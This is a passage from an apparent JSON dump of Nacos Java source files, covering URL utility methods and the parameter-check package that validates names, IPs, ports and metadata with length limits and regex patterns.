URL_PROTOCOL_VFSZIP.equals(protocol)\n                || URL_PROTOCOL_WSJAR.equals(protocol));\n    }\n\n    /**\n     * Determine whether the given URL points to a jar file itself,\n     * that is, has protocol \"file\" and ends with the \".jar\" extension.\n     *\n     * @param url the URL to check\n     * @return whether the URL has been identified as a JAR file URL\n     * @since 4.1\n     */\n    public static boolean isJarFileUrl(URL url) {\n        return (URL_PROTOCOL_FILE.equals(url.getProtocol())\n                && url.getPath().toLowerCase().endsWith(JAR_FILE_EXTENSION));\n    }\n\n    /**\n     * Extract the URL for the actual jar file from the given URL\n     * (which may point to a resource in a jar file or to a jar file itself).\n     *\n     * @param jarUrl the original URL\n     * @return the URL for the actual jar file\n     * @throws MalformedURLException if no valid jar file URL could be extracted\n     */\n    public static URL extractJarFileUrl(URL jarUrl) throws MalformedURLException {\n        String urlFile = jarUrl.getFile();\n        int separatorIndex = urlFile.indexOf(JAR_URL_SEPARATOR);\n        if (separatorIndex != -1) {\n            String jarFile = urlFile.substring(0, separatorIndex);\n            try {\n                return new URL(jarFile);\n            } catch (MalformedURLException ex) {\n                // Probably no protocol in original jar URL, like \"jar:C:/mypath/myjar.jar\".\n                // This usually indicates that the jar file resides in the file system.\n                if (!jarFile.startsWith(\"/\")) {\n                    jarFile = \"/\" + jarFile;\n                }\n                return new URL(FILE_URL_PREFIX + jarFile);\n            }\n        } else {\n            return jarUrl;\n        }\n    }\n\n    /**\n     * Extract the URL for the outermost archive from the given jar/war URL\n     * (which may point to a resource in a jar file or to a jar file itself).\n     *\n     * <p>In the case of a jar file nested within a war file, this will return\n     * a URL to the war file since that is the one resolvable in the file system.\n     *\n     * @param jarUrl the original URL\n     * @return the URL for the actual jar file\n     * @throws MalformedURLException if no valid jar file URL could be extracted\n     * @see #extractJarFileUrl(URL)\n     * @since 4.1.8\n     */\n    public static URL extractArchiveUrl(URL jarUrl) throws MalformedURLException {\n        String urlFile = jarUrl.getFile();\n\n        int endIndex = urlFile.indexOf(WAR_URL_SEPARATOR);\n        if (endIndex != -1) {\n            // Tomcat's \"war:file:...mywar.war*/WEB-INF/lib/myjar.jar!/myentry.txt\"\n            String warFile = urlFile.substring(0, endIndex);\n            if (URL_PROTOCOL_WAR.equals(jarUrl.getProtocol())) {\n                return new URL(warFile);\n            }\n            int startIndex = warFile.indexOf(WAR_URL_PREFIX);\n            if (startIndex != -1) {\n                return new URL(warFile.substring(startIndex + WAR_URL_PREFIX.length()));\n            }\n        }\n\n        // Regular \"jar:file:...myjar.jar!/myentry.txt\"\n        return extractJarFileUrl(jarUrl);\n    }\n\n    /**\n     * Create a URI instance for the given URL,\n     * replacing spaces with \"%20\" URI encoding first.\n     *\n     * @param url the URL to convert into a URI instance\n     * @return the URI instance\n     * @throws URISyntaxException if the URL wasn't a valid URI\n     * @see URL#toURI()\n     */\n    public static URI toUri(URL url) throws URISyntaxException {\n        return toUri(url.toString());\n    }\n\n    /**\n     * Create a URI instance for the given location String,\n     * replacing spaces with \"%20\" URI encoding first.\n     *\n     * @param location the location String to convert into a URI instance\n     * @return the URI instance\n     * @throws URISyntaxException if the location wasn't a valid URI\n     */\n    public static URI toUri(String location) throws URISyntaxException {\n        return new URI(StringUtils.replace(location, \" \", \"%20\"));\n    }\n\n    /**\n     * Set the {@link URLConnection#setUseCaches \"useCaches\"} flag on the\n     * given connection, preferring {@code false} but leaving the\n     * flag at {@code true} for JNLP based resources.\n     *\n     * @param con the URLConnection to set the flag on\n     */\n    public static void useCachesIfNecessary(URLConnection con) {\n        con.setUseCaches(con.getClass().getSimpleName().startsWith(\"JNLP\"));\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/paramcheck/AbstractParamChecker.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.paramcheck;\n\nimport java.util.List;\n\n/**\n * The type Abstract param checker.\n *\n * @author zhuoguang\n */\npublic abstract class AbstractParamChecker {\n    \n    protected ParamCheckRule paramCheckRule;\n    \n    public AbstractParamChecker() {\n        initParamCheckRule();\n    }\n    \n    /**\n     * Gets checker type.\n     *\n     * @return the checker type\n     */\n    public abstract String getCheckerType();\n    \n    /**\n     * Check param info list param check response.\n     *\n     * @param paramInfos the param infos\n     * @return the param check response\n     */\n    public abstract ParamCheckResponse checkParamInfoList(List<ParamInfo> paramInfos);\n    \n    /**\n     * Init param check rule.\n     */\n    public abstract void initParamCheckRule();\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/paramcheck/DefaultParamChecker.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.paramcheck;\n\nimport com.alibaba.nacos.common.utils.NumberUtils;\nimport com.alibaba.nacos.common.utils.PropertyUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.regex.Pattern;\n\n/**\n * The type Default param checker.\n *\n * @author zhuoguang\n */\npublic class DefaultParamChecker extends AbstractParamChecker {\n    \n    private Pattern namespaceShowNamePattern;\n    \n    private Pattern namespaceIdPattern;\n    \n    private Pattern dataIdPattern;\n    \n    private Pattern serviceNamePattern;\n    \n    private Pattern groupPattern;\n    \n    private Pattern clusterPattern;\n    \n    private Pattern ipPattern;\n    \n    private Pattern mcpNamePattern;\n    \n    private Pattern agentNamePattern;\n    \n    private static final String CHECKER_TYPE = \"default\";\n    \n    private static final String MAX_METADATA_LENGTH_PROP_NAME = \"nacos.naming.service.metadata.length\";\n    \n    private static final String MAX_METADATA_LENGTH_ENV_NAME = \"NACOS_NAMING_SERVICE_METADATA_LENGTH\";\n    \n    @Override\n    public String getCheckerType() {\n        return CHECKER_TYPE;\n    }\n    \n    @Override\n    public ParamCheckResponse checkParamInfoList(List<ParamInfo> paramInfos) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (paramInfos == null) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        for (ParamInfo paramInfo : paramInfos) {\n            paramCheckResponse = checkParamInfoFormat(paramInfo);\n            if (!paramCheckResponse.isSuccess()) {\n                return paramCheckResponse;\n            }\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    @Override\n    public void initParamCheckRule() {\n        this.paramCheckRule = new ParamCheckRule();\n        initFormatPattern();\n        replaceParamCheckRuleByEnv();\n    }\n    \n    private void initFormatPattern() {\n        this.namespaceShowNamePattern = Pattern.compile(this.paramCheckRule.namespaceShowNamePatternString);\n        this.namespaceIdPattern = Pattern.compile(this.paramCheckRule.namespaceIdPatternString);\n        this.dataIdPattern = Pattern.compile(this.paramCheckRule.dataIdPatternString);\n        this.serviceNamePattern = Pattern.compile(this.paramCheckRule.serviceNamePatternString);\n        this.groupPattern = Pattern.compile(this.paramCheckRule.groupPatternString);\n        this.clusterPattern = Pattern.compile(this.paramCheckRule.clusterPatternString);\n        this.ipPattern = Pattern.compile(this.paramCheckRule.ipPatternString);\n        this.mcpNamePattern = Pattern.compile(this.paramCheckRule.mcpNamePatternString);\n        this.agentNamePattern = Pattern.compile(this.paramCheckRule.agentNamePatternString);\n    }\n    \n    /**\n     * if environment variables exists, it will be replaced.\n     */\n    private void replaceParamCheckRuleByEnv() {\n        String maxMetadataLength = PropertyUtils.getProperty(MAX_METADATA_LENGTH_PROP_NAME, MAX_METADATA_LENGTH_ENV_NAME);\n        if (StringUtils.isNotBlank(maxMetadataLength)) {\n            this.paramCheckRule.maxMetadataLength = NumberUtils.toInt(maxMetadataLength);\n        }\n    }\n    \n    /**\n     * Check param info format.\n     *\n     * @param paramInfo the param info\n     * @return the param check response\n     */\n    public ParamCheckResponse checkParamInfoFormat(ParamInfo paramInfo) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (paramInfo == null) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkNamespaceShowNameFormat(paramInfo.getNamespaceShowName());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkNamespaceIdFormat(paramInfo.getNamespaceId());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkDataIdFormat(paramInfo.getDataId());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkServiceNameFormat(paramInfo.getServiceName());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkGroupFormat(paramInfo.getGroup());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkClusterFormat(paramInfo.getClusters());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkSingleClusterFormat(paramInfo.getCluster());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkIpFormat(paramInfo.getIp());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkPortFormat(paramInfo.getPort());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkMetadataFormat(paramInfo.getMetadata());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkMcpNameFormat(paramInfo.getMcpName());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse = checkAgentNameFormat(paramInfo.getAgentName());\n        if (!paramCheckResponse.isSuccess()) {\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check namespace show name format.\n     *\n     * @param namespaceShowName the namespace show name\n     * @return the param check response\n     */\n    public ParamCheckResponse checkNamespaceShowNameFormat(String namespaceShowName) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (StringUtils.isBlank(namespaceShowName)) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        if (namespaceShowName.length() > paramCheckRule.maxNamespaceShowNameLength) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(String.format(\"Param 'namespaceShowName' is illegal, the param length should not exceed %d.\",\n                    paramCheckRule.maxNamespaceShowNameLength));\n            return paramCheckResponse;\n        }\n        if (!namespaceShowNamePattern.matcher(namespaceShowName).matches()) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\"Param 'namespaceShowName' is illegal, illegal characters should not appear in the param.\");\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check namespace id format.\n     *\n     * @param namespaceId the namespace id\n     * @return the param check response\n     */\n    public ParamCheckResponse checkNamespaceIdFormat(String namespaceId) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (StringUtils.isBlank(namespaceId)) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        if (namespaceId.length() > paramCheckRule.maxNamespaceIdLength) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(String.format(\"Param 'namespaceId/tenant' is illegal, the param length should not exceed %d.\",\n                    paramCheckRule.maxNamespaceIdLength));\n            return paramCheckResponse;\n        }\n        if (!namespaceIdPattern.matcher(namespaceId).matches()) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\"Param 'namespaceId/tenant' is illegal, illegal characters should not appear in the param.\");\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check data id format.\n     *\n     * @param dataId the data id\n     * @return the param check response\n     */\n    public ParamCheckResponse checkDataIdFormat(String dataId) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (StringUtils.isBlank(dataId)) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        if (dataId.length() > paramCheckRule.maxDataIdLength) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\n                    String.format(\"Param 'dataId' is illegal, the param length should not exceed %d.\", paramCheckRule.maxDataIdLength));\n            return paramCheckResponse;\n        }\n        if (!dataIdPattern.matcher(dataId).matches()) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\"Param 'dataId' is illegal, illegal characters should not appear in the param.\");\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check service name format.\n     *\n     * @param serviceName the service name\n     * @return the param check response\n     */\n    public ParamCheckResponse checkServiceNameFormat(String serviceName) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (StringUtils.isBlank(serviceName)) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        if (serviceName.length() > paramCheckRule.maxServiceNameLength) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\n                    String.format(\"Param 'serviceName' is illegal, the param length should not exceed %d.\", paramCheckRule.maxServiceNameLength));\n            return paramCheckResponse;\n        }\n        if (!serviceNamePattern.matcher(serviceName).matches()) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\"Param 'serviceName' is illegal, illegal characters should not appear in the param.\");\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check group format.\n     *\n     * @param group the group\n     * @return the param check response\n     */\n    public ParamCheckResponse checkGroupFormat(String group) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (StringUtils.isBlank(group)) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        if (group.length() > paramCheckRule.maxGroupLength) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\n                    String.format(\"Param 'group' is illegal, the param length should not exceed %d.\", paramCheckRule.maxGroupLength));\n            return paramCheckResponse;\n        }\n        if (!groupPattern.matcher(group).matches()) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\"Param 'group' is illegal, illegal characters should not appear in the param.\");\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check cluster format.\n     *\n     * @param clusterString the cluster string\n     * @return the param check response\n     */\n    public ParamCheckResponse checkClusterFormat(String clusterString) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (StringUtils.isBlank(clusterString)) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        String[] clusters = clusterString.split(\",\");\n        for (String cluster : clusters) {\n            paramCheckResponse = checkSingleClusterFormat(cluster);\n            if (!paramCheckResponse.isSuccess()) {\n                return paramCheckResponse;\n            }\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check single cluster format.\n     *\n     * @param cluster the cluster\n     * @return the param check response\n     */\n    public ParamCheckResponse checkSingleClusterFormat(String cluster) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (StringUtils.isBlank(cluster)) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        \n        if (cluster.length() > paramCheckRule.maxClusterLength) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\n                    String.format(\"Param 'cluster' is illegal, the param length should not exceed %d.\", paramCheckRule.maxClusterLength));\n            return paramCheckResponse;\n        }\n        if (!clusterPattern.matcher(cluster).matches()) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\"Param 'cluster' is illegal, illegal characters should not appear in the param.\");\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check ip format.\n     *\n     * @param ip the ip\n     * @return the param check response\n     */\n    public ParamCheckResponse checkIpFormat(String ip) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (StringUtils.isBlank(ip)) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        if (ip.length() > paramCheckRule.maxIpLength) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(String.format(\"Param 'ip' is illegal, the param length should not exceed %d.\", paramCheckRule.maxIpLength));\n            return paramCheckResponse;\n        }\n        if (!ipPattern.matcher(ip).matches()) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\"Param 'ip' is illegal, illegal characters should not appear in the param.\");\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check port format.\n     *\n     * @param port the port\n     * @return the param check response\n     */\n    public ParamCheckResponse checkPortFormat(String port) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (StringUtils.isBlank(port)) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        int portInt = 0;\n        try {\n            portInt = Integer.parseInt(port);\n        } catch (Exception e) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\n                    String.format(\"Param 'port' is illegal, the value should be between %d and %d.\", paramCheckRule.minPort, paramCheckRule.maxPort));\n            return paramCheckResponse;\n        }\n        if (portInt > paramCheckRule.maxPort || portInt < paramCheckRule.minPort) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\n                    String.format(\"Param 'port' is illegal, the value should be between %d and %d.\", paramCheckRule.minPort, paramCheckRule.maxPort));\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check metadata format.\n     *\n     * @param metadata the metadata\n     * @return the param check response\n     */\n    public ParamCheckResponse checkMetadataFormat(Map<String, String> metadata) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (metadata == null || metadata.isEmpty()) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        int totalLength = 0;\n        for (Map.Entry<String, String> entry : metadata.entrySet()) {\n            if (StringUtils.isNotBlank(entry.getKey())) {\n                totalLength = totalLength + entry.getKey().length();\n            }\n            if (StringUtils.isNotBlank(entry.getValue())) {\n                totalLength = totalLength + entry.getValue().length();\n            }\n        }\n        if (totalLength > paramCheckRule.maxMetadataLength) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\n                    String.format(\"Param 'Metadata' is illegal, the param length should not exceed %d.\", paramCheckRule.maxMetadataLength));\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check mcp name format.\n     *\n     * @param mcpName the mcp name\n     * @return the param check response\n     */\n    public ParamCheckResponse checkMcpNameFormat(String mcpName) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (StringUtils.isBlank(mcpName)) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        if (mcpName.length() > paramCheckRule.maxMcpNameLength) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\n                    String.format(\"Param 'mcpName' is illegal, the param length should not exceed %d.\", paramCheckRule.maxClusterLength));\n            return paramCheckResponse;\n        }\n        if (!mcpNamePattern.matcher(mcpName).matches()) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\"Param 'mcpName' is illegal, illegal characters should not appear in the param.\");\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n    \n    /**\n     * Check agent name format.\n     *\n     * @param agentName agent name\n     * @return the param check response\n     */\n    public ParamCheckResponse checkAgentNameFormat(String agentName) {\n        ParamCheckResponse paramCheckResponse = new ParamCheckResponse();\n        if (StringUtils.isBlank(agentName)) {\n            paramCheckResponse.setSuccess(true);\n            return paramCheckResponse;\n        }\n        if (agentName.length() > paramCheckRule.maxAgentNameLength) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\n                    String.format(\"Param 'agentName' is illegal, the param length should not exceed %d.\", paramCheckRule.maxAgentNameLength));\n            return paramCheckResponse;\n        }\n        if (!agentNamePattern.matcher(agentName).matches()) {\n            paramCheckResponse.setSuccess(false);\n            paramCheckResponse.setMessage(\"Param 'agentName' is illegal, illegal characters should not appear in the param.\");\n            return paramCheckResponse;\n        }\n        paramCheckResponse.setSuccess(true);\n        return paramCheckResponse;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/paramcheck/ParamCheckResponse.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.paramcheck;\n\n/**\n * The type Param check response.\n *\n * @author zhuoguang\n */\npublic class ParamCheckResponse {\n    \n    private boolean success;\n    \n    private String message;\n    \n    public boolean isSuccess() {\n        return success;\n    }\n    \n    public void setSuccess(boolean success) {\n        this.success = success;\n    }\n    \n    public String getMessage() {\n        return message;\n    }\n    \n    public void setMessage(String message) {\n        this.message = message;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/paramcheck/ParamCheckRule.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.paramcheck;\n\n/**\n * Param check rules.\n *\n * @author zhuoguang\n */\npublic class ParamCheckRule {\n    \n    public int maxNamespaceShowNameLength = 256;\n    \n    public String namespaceShowNamePatternString = \"^[^@#$%^&*]+$\";\n    \n    public int maxNamespaceIdLength = 64;\n    \n    public String namespaceIdPatternString = \"^[\\\\w-]+\";\n    \n    public int maxDataIdLength = 256;\n    \n    public String dataIdPatternString = \"^[a-zA-Z0-9-_:\\\\.]*$\";\n    \n    public int maxServiceNameLength = 512;\n    \n    public String serviceNamePatternString = \"^(?!@).((?!@@)[^\\\\u4E00-\\\\u9FA5\\\\s])*$\";\n    \n    public int maxGroupLength = 128;\n    \n    public String groupPatternString = \"^[a-zA-Z0-9-_:\\\\.]*$\";\n    \n    public int maxClusterLength = 64;\n    \n    public String clusterPatternString = \"^[0-9a-zA-Z-_]+$\";\n    \n    public int maxIpLength = 128;\n    \n    public String ipPatternString = \"^[^\\\\u4E00-\\\\u9FA5\\\\s]*$\";\n    \n    public int maxPort = 65535;\n    \n    public int minPort = 0;\n    \n    public int maxMetadataLength = 1024;\n    \n    public String agentNamePatternString = \"^[\\\\x20-\\\\x7E]+$\";\n \n    public int maxAgentNameLength = 64;\n\n    public String mcpNamePatternString = \"^[a-zA-Z0-9-_\\\\/\\\\.]+$\";\n\n    public int maxMcpNameLength = 128;\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/paramcheck/ParamCheckerManager.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.paramcheck;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.Collection;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * The type Param checker manager.\n *\n * @author zhuoguang\n */\npublic class ParamCheckerManager {\n    \n    private static final ParamCheckerManager INSTANCE = new ParamCheckerManager();\n    \n    private static final AbstractParamChecker DEFAULT_PARAM_CHECKER = new DefaultParamChecker();\n    \n    private final Map<String, AbstractParamChecker> paramCheckerMap = new ConcurrentHashMap<>();\n    \n    private ParamCheckerManager() {\n        Collection<AbstractParamChecker> paramCheckers = NacosServiceLoader.load(AbstractParamChecker.class);\n        for (AbstractParamChecker paramChecker : paramCheckers) {\n            String checkerType = paramChecker.getCheckerType();\n            paramCheckerMap.put(checkerType, paramChecker);\n        }\n    }\n    \n    public static ParamCheckerManager getInstance() {\n        return INSTANCE;\n    }\n    \n    public AbstractParamChecker getParamChecker(String checkerType) {\n        if (StringUtils.isBlank(checkerType)) {\n            return DEFAULT_PARAM_CHECKER;\n        }\n        AbstractParamChecker paramChecker = paramCheckerMap.get(checkerType);\n        if (paramChecker == null) {\n            paramChecker = DEFAULT_PARAM_CHECKER;\n        }\n        return paramChecker;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/paramcheck/ParamInfo.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.paramcheck;\n\nimport java.util.Map;\n\n/**\n * Param info.\n *\n * @author zhuoguang\n */\npublic class ParamInfo {\n    private String namespaceShowName;\n    \n    private String namespaceId;\n    \n    private String dataId;\n    \n    private String serviceName;\n    \n    private String group;\n    \n    private String cluster;\n    \n    private String clusters;\n    \n    private String ip;\n    \n    private String port;\n    \n    private Map<String, String> metadata;\n    \n    private String mcpName;\n    \n    private String mcpId;\n    \n    private String agentName;\n    \n    public String getNamespaceShowName() {\n        return namespaceShowName;\n    }\n    \n    public void setNamespaceShowName(String namespaceShowName) {\n        this.namespaceShowName = namespaceShowName;\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getServiceName() {\n        return serviceName;\n    }\n    \n    public void setServiceName(String serviceName) {\n        this.serviceName = serviceName;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public String getCluster() {\n        return cluster;\n    }\n    \n    public void setCluster(String cluster) {\n        this.cluster = cluster;\n    }\n    \n    public String getClusters() {\n        return clusters;\n    }\n    \n    public void setClusters(String clusters) {\n        this.clusters = clusters;\n    }\n    \n    public String getIp() {\n        return ip;\n    }\n    \n    public void setIp(String ip) {\n        this.ip = ip;\n    }\n    \n    public String getPort() {\n        return port;\n    }\n    \n    public void setPort(String port) {\n        this.port = port;\n    }\n    \n    public Map<String, String> getMetadata() {\n        return metadata;\n    }\n    \n    public void setMetadata(Map<String, String> metadata) {\n        this.metadata = metadata;\n    }\n    \n    public String getMcpName() {\n        return mcpName;\n    }\n\n    public String getMcpId() {\n        return mcpId;\n    }\n\n    public void setMcpId(String mcpId) {\n        this.mcpId = mcpId;\n    }\n\n    public void setMcpName(String mcpName) {\n        this.mcpName = mcpName;\n    }\n    \n    public String getAgentName() {\n        return agentName;\n    }\n    \n    public void setAgentName(String agentName) {\n        this.agentName = agentName;\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/pathencoder/PathEncoder.java",
